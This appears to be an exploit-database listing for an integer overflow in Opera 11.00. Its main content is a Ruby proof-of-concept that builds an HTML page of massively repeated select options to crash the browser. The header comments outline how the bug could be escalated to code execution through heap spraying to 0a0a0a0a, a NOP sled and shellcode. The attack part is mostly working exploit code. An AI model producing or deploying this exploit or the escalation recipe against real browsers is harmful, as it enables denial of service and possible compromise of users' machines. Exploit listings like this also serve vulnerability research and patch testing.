Opera Web Browser 11.00 - Integer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Opera Web Browser 11.00 Integer Overflow Vulnerability Denial of Servic


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#[+]Exploit Title: Exploit Integer Overflow Opera Web Browser 11.00
#[+]Date: 24\01\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://get12.opera.com/pub/opera/win/1100/int/Opera_1100_int_Setup.exe
#[+]Version: 11.00
#[+]Tested On: WIN-XP SP3 PORTUGUESE BRAZILIAN
#[+]CVE: N/A
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#
#
#Note:
#This exploit is only a Denial of Service in opera web browser
#I created a poc using heap spray that allow code execution
#but I will not post here because it can be used for evil
#And I do not want that.
#   for you to explore the program you control with the number esi childrens then created using a spray heap address any such
#0a0a0a0a the data in address should be the point to the beginning of the shellcode
#0a0a0a0a => \x90\x90\x90 => and your shellcode
#Then the function mov eax, [esi] places the value in eax then the program call eax  and boom run shellcode !!!!!
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#
 
 
 
 
print "[*]Creating the Exploit\n"
i = 0
buf = "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n"
 
while i<0x4141 
     buf += "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n"
     i+=1
end
 
HTML =
"<html>\n"+
"<body>\n\n"+
"<select>\n\n"
 
HTML+=buf * 100
HTML += "\n\n\n\</select>\n\n"+
"</body>\n\n\n"+
"</html>\n\n\n\n\n"
 
f = File.open("Exploit_opera_11.00.html","w")
f.puts HTML
f.close
puts "\n\n\[*]File Created With Sucess"
sleep(1)
puts "[*]Go to my Site www.invasao.com.br!"
sleep(1)

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1